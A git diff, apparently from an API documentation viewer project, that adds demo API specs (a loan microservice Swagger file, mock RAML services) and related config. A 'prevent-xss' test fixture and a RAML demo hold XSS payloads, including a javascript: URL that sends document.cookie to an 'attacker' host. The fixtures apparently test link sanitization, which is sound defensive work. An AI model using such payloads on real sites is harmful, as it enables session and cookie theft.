https://cg-itg.slack.com/archives/C018M7FCSMS/p1602588312007200 +servers: + - url: https://api.aws-west-prd.capgroup.com/cdp-proxy/profiles + description: MuleSoft PROD + - url: https://api.aws-west-snp.capgroup.com/cdp-proxy-e2e/profiles + description: MuleSoft UAT (for enterprise consumers) + - url: https://api.aws-west-oz.capgroup.com/cdp-proxy-ite2/profiles + description: MuleSoft QA (for enterprise consumers) + - url: https://api.aws-west-oz.capgroup.com/cdp-proxy-dev2/profiles +paths: + /parties/v1/{partyId}: + summary: Represents a client of Capital Group + description: > + Provides details about Capital Group clients including name, address and other information + get: + operationId: getPartyById + summary: Gets the specific parties in the system. \ No newline at end of file diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml index f95c90c..5666ff2 100644 --- a/demo/apis/demo-api/demo-api.raml +++ b/demo/apis/demo-api/demo-api.raml @@ -11,6 +11,8 @@ description: | This is **markdown**. + [evil markdown](javascript:alert(document.domain))xxxxxxxx + baseUriParameters: instance: description: | diff --git a/demo/apis/loan-ms/loan-microservice.json b/demo/apis/loan-ms/loan-microservice.json new file mode 100644 index 0000000..9c897b1 --- /dev/null +++ b/demo/apis/loan-ms/loan-microservice.json @@ -0,0 +1,699 @@ +{ + "swagger" : "2.0", + "info" : { + "description" : "Loan microservice contains set of fine grained services to handle with all the loan related informations like, update the User information, generate uinque application id, fetch the nearest branch details, vehicle make and other related information.", + "version" : "version-1.0.3", + "title" : "Loan Microservice", + "termsOfService" : "Terms of service", + "contact" : { + "name" : "John Becker", + "email" : "JohnBecker@cognizant.com", + "url": "http://domain.com" + }, + "license": { + "name": "Apache 2.0", + "url": "https://www.apache.org/licenses/LICENSE-2.0.html" + } + }, + "host" : "localhost:8081", + "basePath" : "/api", + "schemes":[ + "http", + "https" + ], + "tags" : [ { + "name" : "loan-application-controller", + "description" : "Loan Application Controller" + } ], + "paths" : { + "/branchdetail" : { + "get" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Fetch Branch Details", + "description" : "Service to fetch the Branch Details based on the Given Zip code", + "operationId" : "fetchBranchDetailsUsingGET", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "name" : "zipCode", + "in" : "query", + "description" : "Input the zipcode value to get the branches available in the location", + "required" : true, + "type" : "string" + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved branch details", + "schema" : { + "$ref" : "#/definitions/Branch" + }, + "headers" : { + "Branch" : { + "type" : "string", + "description" : "The fetched branch resource" + } + } + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + }, + "/loanapplication" : { + "post" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Submit Loan Application", + "description" : "Service to Create a Loan Applicaiton Details", + "operationId" : "saveLoanApplicationDetailsUsingPOST", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "in" : "body", + "name" : "loanApplication", + "description" : "Input the loanapplication object to save the loan details to the service", + "required" : true, + "schema" : { + "$ref" : "#/definitions/LoanApplication" + } + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved loan application", + "schema" : { + "$ref" : "#/definitions/Application" + }, + "headers" : { + "Application" : { + "type" : "string", + "description" : "The submitted Loan resource" + } + } + }, + "201" : { + "description" : "Created" + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + }, + "/username" : { + "get" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Find ApplicationId", + "description" : "Service to find application id based on user name", + "operationId" : "findByUserNameUsingGET", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "name" : "userName", + "in" : "query", + "description" : "Input the username to fetch the application details available for the user", + "required" : true, + "type" : "string" + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved account details", + "schema" : { + "type" : "string" + }, + "headers" : { + "ApplicationId" : { + "type" : "string", + "description" : "The fetched ApplicationId resource" + } + } + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + }, + "/vehicledetail" : { + "get" : { + "tags" : [ "loan-application-controller" ], + "summary" : "Find Vehicle Details", + "description" : "Service to find the vehicle model based on vehicle make", + "operationId" : "findByVehicleModelUsingGET", + "consumes" : [ "application/json" ], + "produces" : [ "application/json" ], + "parameters" : [ { + "name" : "vehicleMake", + "in" : "query", + "description" : "Input the vehiclemake value to retrieve the vehicle details", + "required" : true, + "type" : "string" + } ], + "responses" : { + "200" : { + "description" : "Successfully retrieved vechicle details", + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/definitions/VehicleDetail" + } + }, + "headers" : { + "VehicleDetail" : { + "type" : "string", + "description" : "The fetched VehicleDetail resource" + } + } + }, + "401" : { + "description" : "You are not authorized to view the resource" + }, + "403" : { + "description" : "Accessing the resource you were trying to reach is forbidden" + }, + "404" : { + "description" : "The resource you were trying to reach is not found" + } + } + } + } + }, + "definitions" : { + "Vehicle" : { + "type" : "object", + "properties" : { + "approxMileage" : { + "type" : "string" + }, + "city" : { + "type" : "string" + }, + "estimatedValue" : { + "type" : "integer", + "format" : "int32" + }, + "regState" : { + "type" : "string" + }, + "sellerAddress" : { + "type" : "string" + }, + "sellerName" : { + "type" : "string" + }, + "state" : { + "type" : "string" + }, + "street" : { + "type" : "string" + }, + "transactionType" : { + "type" : "string" + }, + "vehIdentNo" : { + "type" : "string" + }, + "vehicleId" : { + "type" : "integer", + "format" : "int32" + }, + "vehicleMake" : { + "type" : "string" + }, + "vehicleModel" : { + "type" : "string" + }, + "vehicleType" : { + "type" : "string" + }, + "vehicleYear" : { + "type" : "integer", + "format" : "int32" + }, + "zipCode" : { + "type" : "string" + } + }, + "example" : { + "zipCode" : "zipCode", + "city" : "city", + "sellerName" : "sellerName", + "sellerAddress" : "sellerAddress", + "vehicleMake" : "vehicleMake", + "transactionType" : "transactionType", + "estimatedValue" : 7, + "vehicleYear" : 1, + "street" : "street", + "approxMileage" : "approxMileage", + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "regState" : "regState", + "state" : "state", + "vehicleId" : 1, + "vehicleType" : "vehicleType" + } + }, + "VehicleDetail" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string" + }, + "vehIdentNo" : { + "type" : "string" + }, + "vehicleDetailsId" : { + "type" : "integer", + "format" : "int32" + }, + "vehicleMake" : { + "type" : "string" + }, + "vehicleModel" : { + "type" : "string" + }, + "vehicleType" : { + "type" : "string" + }, + "vehicleYear" : { + "type" : "integer", + "format" : "int32" + } + }, + "example" : { + "vehicleYear" : 6, + "vehicleDetailsId" : 0, + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "id" : "id", + "vehicleMake" : "vehicleMake", + "vehicleType" : "vehicleType" + } + }, + "User" : { + "type" : "object", + "properties" : { + "addTypePrevious" : { + "type" : "string" + }, + "addTypePrimary" : { + "type" : "string" + }, + "annualIncome" : { + "type" : "integer" + }, + "anyPoliticalRelationship" : { + "type" : "boolean" + }, + "apartmentNo" : { + "type" : "string" + }, + "citizenOf" : { + "type" : "boolean" + }, + "city" : { + "type" : "string" + }, + "dateOfBirth" : { + "type" : "string", + "format" : "date-time" + }, + "email" : { + "type" : "string" + }, + "firstName" : { + "type" : "string" + }, + "housingStatus" : { + "type" : "string" + }, + "initial" : { + "type" : "string" + }, + "lastName" : { + "type" : "string" + }, + "monthlyPayment" : { + "type" : "integer" + }, + "monthsAtCurrAdd" : { + "type" : "integer", + "format" : "int32" + }, + "otherIncome" : { + "type" : "string" + }, + "permanentResidence" : { + "type" : "boolean" + }, + "phoneNo" : { + "type" : "integer", + "format" : "int32" + }, + "ssn" : { + "type" : "integer", + "format" : "int32" + }, + "state" : { + "type" : "string" + }, + "street" : { + "type" : "string" + }, + "suffix" : { + "type" : "string" + }, + "uid" : { + "type" : "integer", + "format" : "int32" + }, + "userName" : { + "type" : "string" + }, + "yearsAtCurrAdd" : { + "type" : "integer", + "format" : "int32" + }, + "zipCode" : { + "type" : "string" + } + }, + "example" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + "otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + }, + "Branch" : { + "type" : "object", + "properties" : { + "apartmentNo" : { + "type" : "string" + }, + "branchId" : { + "type" : "integer", + "format" : "int32" + }, + "branchName" : { + "type" : "string" + }, + "city" : { + "type" : "string" + }, + "contactPerson" : { + "type" : "string" + }, + "phoneNo" : { + "type" : "string" + }, + "state" : { + "type" : "string" + }, + "street" : { + "type" : "string" + }, + "zipCode" : { + "type" : "string" + } + }, + "example" : { + "apartmentNo" : "apartmentNo", + "branchId" : 0, + "zipCode" : "zipCode", + "city" : "city", + "street" : "street", + "branchName" : "branchName", + "contactPerson" : "contactPerson", + "state" : "state", + "phoneNo" : "phoneNo" + } + }, + "LoanApplication" : { + "type" : "object", + "properties" : { + "application" : { + "$ref" : "#/definitions/Application" + }, + "user" : { + "$ref" : "#/definitions/User" + } + }, + "example" : { + "application" : { + "pendingWith" : "pendingWith", + "requestedAmt" : 1, + "applicationState" : "applicationState", + "ownerShip" : "ownerShip", + "userName" : "userName", + "branch" : { + "apartmentNo" : "apartmentNo", + "branchId" : 0, + "zipCode" : "zipCode", + "city" : "city", + "street" : "street", + "branchName" : "branchName", + "contactPerson" : "contactPerson", + "state" : "state", + "phoneNo" : "phoneNo" + }, + "vehicle" : { + "zipCode" : "zipCode", + "city" : "city", + "sellerName" : "sellerName", + "sellerAddress" : "sellerAddress", + "vehicleMake" : "vehicleMake", + "transactionType" : "transactionType", + "estimatedValue" : 7, + "vehicleYear" : 1, + "street" : "street", + "approxMileage" : "approxMileage", + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "regState" : "regState", + "state" : "state", + "vehicleId" : 1, + "vehicleType" : "vehicleType" + }, + "loanYearPeriod" : 6, + "uid" : 5, + "loanTerm" : 0, + "applicationStatus" : "applicationStatus", + "applicationId" : "applicationId", + "user" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + "otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + }, + "user" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + "otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + } + }, + "Application" : { + "type" : "object", + "properties" : { + "applicationId" : { + "type" : "string" + }, + "applicationState" : { + "type" : "string" + }, + "applicationStatus" : { + "type" : "string" + }, + "branch" : { + "$ref" : "#/definitions/Branch" + }, + "loanTerm" : { + "type" : "integer", + "format" : "int32" + }, + "loanYearPeriod" : { + "type" : "integer", + "format" : "int32" + }, + "ownerShip" : { + "type" : "string" + }, + "pendingWith" : { + "type" : "string" + }, + "requestedAmt" : { + "type" : "integer", + "format" : "int32" + }, + "uid" : { + "type" : "integer", + "format" : "int32" + }, + "user" : { + "$ref" : "#/definitions/User" + }, + "userName" : { + "type" : "string" + }, + "vehicle" : { + "$ref" : "#/definitions/Vehicle" + } + }, + "example" : { + "pendingWith" : "pendingWith", + "requestedAmt" : 1, + "applicationState" : "applicationState", + "ownerShip" : "ownerShip", + "userName" : "userName", + "branch" : { + "apartmentNo" : "apartmentNo", + "branchId" : 0, + "zipCode" : "zipCode", + "city" : "city", + "street" : "street", + "branchName" : "branchName", + "contactPerson" : "contactPerson", + "state" : "state", + "phoneNo" : "phoneNo" + }, + "vehicle" : { + "zipCode" : "zipCode", + "city" : "city", + "sellerName" : "sellerName", + "sellerAddress" : "sellerAddress", + "vehicleMake" : "vehicleMake", + "transactionType" : "transactionType", + "estimatedValue" : 7, + "vehicleYear" : 1, + "street" : "street", + "approxMileage" : "approxMileage", + "vehicleModel" : "vehicleModel", + "vehIdentNo" : "vehIdentNo", + "regState" : "regState", + "state" : "state", + "vehicleId" : 1, + "vehicleType" : "vehicleType" + }, + "loanYearPeriod" : 6, + "uid" : 5, + "loanTerm" : 0, + "applicationStatus" : "applicationStatus", + "applicationId" : "applicationId", + "user" : { + "apartmentNo" : "apartmentNo", + "lastName" : "lastName", + "zipCode" : "zipCode", + "annualIncome" : 5, + "housingStatus" : "housingStatus", + "city" : "city", + "permanentResidence" : true, + "suffix" : "suffix", + "phoneNo" : 9, + "ssn" : 3, + "uid" : 2, + "yearsAtCurrAdd" : 4, + "monthlyPayment" : 2, + "street" : "street", + "state" : "state", + "addTypePrimary" : "addTypePrimary", + "email" : "email", + "initial" : "initial", + "citizenOf" : true, + "dateOfBirth" : "2000-01-23T04:56:07.000+00:00", + "userName" : "userName", + "otherIncome" : "otherIncome", + "firstName" : "firstName", + "addTypePrevious" : "addTypePrevious", + "anyPoliticalRelationship" : true, + "monthsAtCurrAdd" : 7 + } + } + } + } +} diff --git a/demo/apis/mocking-service/mocking-service.raml b/demo/apis/mocking-service/mocking-service.raml new file mode 100644 index 0000000..f033c77 --- /dev/null +++ b/demo/apis/mocking-service/mocking-service.raml @@ -0,0 +1,149 @@ +#%RAML 1.0 + +version: v1 +types: + Response: + type: object + properties: + msg: string + code: integer + examples: + r1: + msg: "OK" + code: 12 + r2: + msg: "error" + code: 001 +title: Mocking Server 2 + +/test: + get: + + headers: + h1: + type: boolean + default: false + example: false + h2: + required: true + type: string + default: A + + queryParameters: + parameter1: + type: string + example: A + responses: + 200: + body: + application/json: + type: Response + put: + body: + application/json: + type: object + properties: + id: integer + name: string + example: + id: 222 + name: John Doe + responses: + 201: + body: + application/json: + type: object + properties: + code: string + msg: string + example: + code: M1 + msg: CREATED + post: + body: + application/json: + type: object + properties: + list: + type: array + items: integer + example: + list: [1,3,5] + responses: + 201: + body: + application/json: + type: Response + + + delete: + protocols: [ HTTP ] + queryParameters: + id: + type: string + example: s1 + default: s2 + responses: + 200: + body: + application/json: + type: Response + + options: + displayName: options + queryParameters: + qp1: + type: array + items: string + default: [A,B] + example: [C,D] + headers: + h1: + type: boolean + default: false + example: true + head: + responses: + 200: + body: + application/json: + + type: Response + properties: + headers: + X-PSN-Exists: + type: boolean + enum: [true, false] + example: true + patch: + body: + application/xml: + + queryParameters: + patchId: + type: integer + example: 123 + default: 34 + responses: + 200: + body: + application/json: + type: Response + trace: + headers: + exp: date-only + body: + application/json: + type: object + properties: + txNumber: + type: number + expirationDate: + type: date-only + + connect: + responses: + 200: + body: + application/json: + type: Response diff --git a/demo/apis/no-endpoints/no-endpoints.raml b/demo/apis/no-endpoints/no-endpoints.raml new file mode 100644 index 0000000..a6962db --- /dev/null +++ b/demo/apis/no-endpoints/no-endpoints.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 +title: Amazon S3 REST API +version: 1 +mediaType: application/json + +types: + person: + type: object + properties: + name: string + age?: number + + manager: + type: person diff --git a/demo/apis/no-server/no-server.raml b/demo/apis/no-server/no-server.raml new file mode 100644 index 0000000..2a722b7 --- /dev/null +++ b/demo/apis/no-server/no-server.raml @@ -0,0 +1,27 @@ +#%RAML 1.0 +title: Amazon S3 REST API +version: 1 +mediaType: application/json + +types: + person: + type: object + properties: + name: string + age?: number + + manager: + type: person + +/users/: + get: + responses: + 200: + body: + application/json: + type: manager + example: + { + name: "Martin", + age: 45 + } diff --git a/demo/apis/prevent-xss/prevent-xss.json b/demo/apis/prevent-xss/prevent-xss.json new file mode 100644 index 0000000..473b81a --- /dev/null +++ b/demo/apis/prevent-xss/prevent-xss.json @@ -0,0 +1,18 @@ +{ + "swagger": "2.0", + "info": { + "description": "test", + "version": "1.0.3", + "title": "Swagger", + "termsOfService": "http://swagger.io/terms/", + "contact" : { + "name" : "Wally", + "email" : "wallythebest@wally.com", + "url": "javascript:window.location='http://attacker/?cookie='+document.cookie" + }, + "license": { + "name": "I swear if you click below you will have the most amazing experience ever. I promise.", + "url": "javascript:alert(/XSS:/.source+document.domain)" + } + } + } \ No newline at end of file diff --git a/demo/index.html b/demo/index.html index 33efdc9..b967b2a 100644 --- a/demo/index.html +++ b/demo/index.html @@ -29,6 +29,8 @@

    Documentation viewers

    An annotation render element.
    Api payload
    A documentation for a payload (request and response).
    +
    Api summary
    +
    A start page with API general info
    diff --git a/demo/model.mjs b/demo/model.mjs index 60c9b25..02cf4b7 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -22,6 +22,7 @@ config.set('APIC-553/APIC-553.raml', { type: "RAML 1.0" }); config.set('APIC-560/APIC-560.yaml', { type: "ASYNC 2.0" }); config.set('APIC-582/APIC-582.yaml', { type: "ASYNC 2.0" }); config.set('APIC-631/APIC-631.raml', { type: "RAML 1.0" }); +config.set('APIC-641/APIC-641.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('APIC-649/APIC-649.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('APIC-650/APIC-650.yaml', { type: "OAS 3.0" }); config.set('APIC-667/APIC-667.raml', { type: "RAML 1.0" }); @@ -63,6 +64,11 @@ config.set('new-oas3-types/new-oas3-types.yaml', { type: "OAS 3.0", mime: 'appli config.set('oas-api/read-only-properties.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('anyOf/anyOf.yaml', { type: 'ASYNC 2.0' }); config.set('steveTest-1/stevetest.json', { type: 'OAS 2.0' }); +config.set('mocking-service/mocking-service.raml', { type: 'RAML 1.0' }); +config.set('no-endpoints/no-endpoints.raml', { type: 'RAML 1.0' }); +config.set('no-server/no-server.raml', { type: 'RAML 1.0' }); +config.set('prevent-xss/prevent-xss.json', { type: 'OAS 2.0', mime: 'application/json' }); +config.set('loan-ms/loan-microservice.json', { type: 'OAS 2.0', mime: 'application/json' }); generator.generate(config, { dest: 'demo/models/', diff --git a/index.d.ts b/index.d.ts index 3839ac9..aa7b3e9 100644 --- a/index.d.ts +++ b/index.d.ts @@ -8,4 +8,5 @@ export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDoc export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement'; export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement'; export { default as ApiAnnotationDocumentElement } from './src/elements/ApiAnnotationDocumentElement'; +export { default as ApiSummaryElement } from './src/elements/ApiSummaryElement'; export * as Utils from './src/lib/Utils'; diff --git a/index.js b/index.js index 071ba32..9b9f8e0 100644 --- a/index.js +++ b/index.js @@ -8,4 +8,5 @@ export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDoc export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement.js'; export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement.js'; export { default as ApiAnnotationDocumentElement } from './src/elements/ApiAnnotationDocumentElement.js'; +export { default as ApiSummaryElement } from './src/elements/ApiSummaryElement.js'; export * as Utils from './src/lib/Utils.js'; diff --git a/package-lock.json b/package-lock.json index 8cfbe18..d3e4ddb 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,7 +8,6 @@ "version": "0.2.0", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-cookies/-/arc-cookies-0.2.0.tgz", "integrity": "sha512-acD0zqaOLdI3xLnhEKH1CaiqHmQKwoZfq+KYPchEsgYqJGyuYL9obHzi8hugmQog2sgKxtsMn5V2NQZZDZVxdQ==", - "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.10", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -30,8 +29,7 @@ "@advanced-rest-client/arc-definitions": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-definitions/-/arc-definitions-3.1.1.tgz", - "integrity": "sha512-AbnR14AdFwlVSqWF83senQVM5JjllBoRq5uCGBGw8gLhIXylG+nlk+9sOLlpWCeAaxYiiGGqw/Lw4Ke57xf6Hw==", - "dev": true + "integrity": "sha512-AbnR14AdFwlVSqWF83senQVM5JjllBoRq5uCGBGw8gLhIXylG+nlk+9sOLlpWCeAaxYiiGGqw/Lw4Ke57xf6Hw==" }, "@advanced-rest-client/arc-demo-helper": { "version": "3.0.3", @@ -77,7 +75,6 @@ "version": "0.1.10", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-headers/-/arc-headers-0.1.10.tgz", "integrity": "sha512-H3mFYOnqHlSMgSqg0pFtR7kluSIgAMqdT4+02AUuDD6DuXqzhtxzY9OLQaZFOnQ/TQ0+UO95Jvk+pxcKSA1E3Q==", - "dev": true, "requires": { "@advanced-rest-client/arc-definitions": "^3.1.1", "@advanced-rest-client/arc-events": "^0.2.13", @@ -108,7 +105,6 @@ "version": "5.2.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-models/-/arc-models-5.2.3.tgz", "integrity": "sha512-kCMe+IKL6St744BsywD+n9BEvnkrk2S/Y40rsLH3iiL66wggODC98IYyst5YglOX5hkFaztu67LdpygddxiRwA==", - "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.18", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -155,7 +151,6 @@ "version": "0.3.6", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-response/-/arc-response-0.3.6.tgz", "integrity": "sha512-6B6ZVqdit33a+z79BrzJEQxw/12TlgbHJJkNUd70uI+SytGNjpPVI3933oYPAhD4WyM4gl77uokhnFwCBo+xWA==", - "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.17", "@advanced-rest-client/arc-headers": "^0.1.10", @@ -182,7 +177,6 @@ "version": "0.2.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-url/-/arc-url-0.2.2.tgz", "integrity": "sha512-OMuowiCigJPSRHdAKBi1+sTkmaAObL+zq4hebgyVR+9u/iD7zKIpBfmq5gYLJ7GnmgoDip/zAtkWxA83vTjpfA==", - "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.18", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -207,7 +201,6 @@ "version": "0.2.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/authorization/-/authorization-0.2.3.tgz", "integrity": "sha512-+oBAKorQ0iA1IwHML1xVU5P7XlIdYtydJ1ny8/RBAGt6wYOTwtiT1xfQAT3JHiUbthkgqSt47XC7FrXRozzyvQ==", - "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.20", "@advanced-rest-client/arc-headers": "^0.1.10", @@ -237,7 +230,6 @@ "version": "0.2.5", "resolved": "https://registry.npmjs.org/@advanced-rest-client/body-editor/-/body-editor-0.2.5.tgz", "integrity": "sha512-2YRxPs5boZer/A0jt1OAmYbnXiBMUOmvR7JIuqNZ1gIjt7m+JkgvB68dNpgu5AUqYsLvytM3MFyjRFnzdPgn/g==", - "dev": true, "requires": { "@advanced-rest-client/arc-events": "^0.2.17", "@advanced-rest-client/arc-icons": "^3.3.3", @@ -260,7 +252,6 @@ "version": "3.2.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/bottom-sheet/-/bottom-sheet-3.2.3.tgz", "integrity": "sha512-m9xNHygVMAM8aubTpFarRUmkkDcHpdIsUkcVnmJGnE1/i/YL6RMg9KRF0jxFW9OasdTEggfn6jbuWPt3kdkfPg==", - "dev": true, "requires": { "@advanced-rest-client/arc-overlay-mixin": "^1.1.7", "@polymer/iron-a11y-announcer": "^3.1.0", @@ -270,14 +261,12 @@ "@advanced-rest-client/clipboard-copy": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@advanced-rest-client/clipboard-copy/-/clipboard-copy-3.1.0.tgz", - "integrity": "sha512-Fn5GV5ba5yjgL7FhYlIM8XbR1PB/A7c7j8eiMNG+vzWNUcHqH80ZahkNgfplBxDUvCGCoIp4DnnUCDIyXaxYqQ==", - "dev": true + "integrity": "sha512-Fn5GV5ba5yjgL7FhYlIM8XbR1PB/A7c7j8eiMNG+vzWNUcHqH80ZahkNgfplBxDUvCGCoIp4DnnUCDIyXaxYqQ==" }, "@advanced-rest-client/code-mirror": { "version": "3.1.5", "resolved": "https://registry.npmjs.org/@advanced-rest-client/code-mirror/-/code-mirror-3.1.5.tgz", "integrity": "sha512-0FnW8WbbgerozcmDmjTv7hmXvc6a0oei6XYauR5TU6PyHZnS8sKVmMkmwQJ8szYkq7tx316uHVHuun9MENQB0g==", - "dev": true, "requires": { "@anypoint-web-components/anypoint-item": "^1.1.0", "@anypoint-web-components/anypoint-listbox": "^1.1.6", @@ -289,8 +278,7 @@ "@advanced-rest-client/date-time": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/date-time/-/date-time-3.0.2.tgz", - "integrity": "sha512-e5hJSVex/EHMo0YWZprOZUQs4KO/Bkt0KAUzjGrOZbpoafuK1Zs1Szu52KtEh7iui9jaTloWqhasrpnkqsgMDQ==", - "dev": true + "integrity": "sha512-e5hJSVex/EHMo0YWZprOZUQs4KO/Bkt0KAUzjGrOZbpoafuK1Zs1Szu52KtEh7iui9jaTloWqhasrpnkqsgMDQ==" }, "@advanced-rest-client/events-target-mixin": { "version": "3.2.4", @@ -320,7 +308,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/@advanced-rest-client/monaco-support/-/monaco-support-1.0.1.tgz", "integrity": "sha512-Vdv12H2acYT0dD2jn0YpBYnv53+/ZhvzExRsWbRWkqlSTWPEqTQCwruqE5UET2BjnFeaPTMQ5jjOZQpOEZSRtg==", - "dev": true, "requires": { "lit-element": "^2.4.0" } @@ -329,7 +316,6 @@ "version": "3.0.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/pouchdb-mapreduce-no-ddocs/-/pouchdb-mapreduce-no-ddocs-3.0.3.tgz", "integrity": "sha512-5gqGWnlLQxLJov/6WE7iuz/LOE0xZJcRI7o2lnxBVore3sj+F3R4OjRjiL8wiZvykEMSdX7Qy+BhFMUrKMvWSw==", - "dev": true, "requires": { "inherits": "2.0.1", "pouchdb-binary-utils": "6.4.3", @@ -346,14 +332,12 @@ "inherits": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", - "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", - "dev": true + "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=" }, "pouchdb-promise": { "version": "6.4.3", "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz", "integrity": "sha512-ruJaSFXwzsxRHQfwNHjQfsj58LBOY1RzGzde4PM5CWINZwFjCQAhZwfMrch2o/0oZT6d+Xtt0HTWhq35p3b0qw==", - "dev": true, "requires": { "lie": "3.1.1" } @@ -361,8 +345,7 @@ "spark-md5": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz", - "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc=", - "dev": true + "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc=" } } }, @@ -370,7 +353,6 @@ "version": "2.0.3", "resolved": "https://registry.npmjs.org/@advanced-rest-client/pouchdb-quick-search/-/pouchdb-quick-search-2.0.3.tgz", "integrity": "sha512-nOJo7AT037UTPQY5CFiVqk4NucwjNiPGWyF/QU8dXPqyK2ZgxjiN/wyRzcpLvIYj6MO2JepQFdfW8nx35cJxXw==", - "dev": true, "requires": { "@advanced-rest-client/pouchdb-mapreduce-no-ddocs": "^3.0.0", "json-stable-stringify": "^1.0.1", @@ -384,14 +366,12 @@ "@advanced-rest-client/uuid-generator": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/uuid-generator/-/uuid-generator-3.1.2.tgz", - "integrity": "sha512-eP3Yo04FiQao7mPEhG37ESG1zYNB5uQ03dB3FlCvaZoUs4qGduBr7SRHdFENcGJlxCkwhY0QVKFfuaZZValPTA==", - "dev": true + "integrity": 